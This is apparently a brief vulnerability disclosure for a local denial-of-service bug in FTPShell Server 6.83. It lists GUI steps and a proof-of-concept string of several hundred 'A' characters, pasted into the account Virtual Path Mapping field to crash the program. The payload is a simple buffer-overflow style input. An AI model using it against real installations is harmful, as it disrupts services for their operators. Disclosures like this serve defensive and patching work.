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FTPShell Server 6.83 -- Denial of Service

Discoverer: leiothrix
Discovery time: 2019/4/27
Tested Version: 6.83
Software Link: http://www.ftpshell.com/downloadserver.htm

Steps to exploit:
1.Open FTPShell Server
2.Select "Manage FTP Accounts"
3.Select "Configure accounts..."
4.Select "Add path" and in "Virtual Path Mapping" Paste Clipboard
5.Input POC 417*A
6.Click on "OK"

POC:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Result map: 图片

图片